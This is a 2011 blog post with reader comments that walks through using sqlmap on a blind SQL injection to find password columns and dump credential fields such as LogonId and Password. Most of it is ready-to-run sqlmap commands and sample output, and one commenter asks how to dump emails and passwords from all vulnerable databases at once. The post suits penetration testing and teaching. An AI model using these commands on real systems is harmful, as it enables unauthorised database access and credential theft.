Friday, December 9, 2011

SQLMap -- Searching Databases for Specific Columns/Data & Extracting from Specific Columns

So assuming we have some sort of SQL Injection in the application (Blind in this case) and we've previously dumped all the available databases (--dbs), we now want to search for columns with 'password' in them.

To search all databases for 'password'

python -u "" --time-sec=1 --search -C 'password'
To search a specific database for 'password'
python -u "" --time-sec=1 --search -D 'MYDATABASE' -C 'password'

**note, that once sqlmap was done with 'MYDATABASE' it checked the rest of the DBs**

[15:28:17] [INFO] fetching columns LIKE 'password' for table 'dbo.mytable' on database 'MYDATABASE'
You'll get asked:
do you want sqlmap to consider provided column(s):

[1] as LIKE column names (default)
[2] as exact column names
> 1
You'll want to give it a 1 first time around, it will probably give you stuff like this:
[15:27:38] [INFO] retrieved: 2
[15:28:22] [INFO] retrieved: Password
[15:29:18] [INFO] retrieved: PrintPasswords
We now know that we want to go back and enumerate/dump the column values from dbo.mytable and database MYDATABASE to see if there is anything good there. Mostly likely there is also a userID or LogonId in there we need to extract as well.
python -u "" --columns -T dbo.mytable -D MYDATABASE --time-sec=1
You could also just do a dump if you want to start grabbing data
python -u "" --dump -T dbo.mytable -D MYDATABASE --time-sec=1
If you just want to pull a certain number of rows, you can also give a --start and --stop switch (--start=1 --stop=10) <--sometimes works, sometimes doesnt. Not sure whats up with that.
python -u "" --dump -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10
If you just want to just pull out certain columns you can do something like this (assuming columns LogonId and Password):
python -u "" --dump -C LogonId,Password -T dbo.mytable -D MYDATABASE --time-sec=1 --start=1 --stop=10
I'm sure I just committed some SQLMap sins, so please correct me (like last time) :-)



Rul said...

SQLMap is for the oldies. :-)

Test this and then tell me what you think.

c ya!

..... said...

Is there way to just dump mails and passwords from all vulneable databases at once? Thanks

CG said...

if you know what table the data is in you can just craft a command to pull the user/pass without pulling the rest. you can do this via --sql-query=QUERY SQL statement to be executed option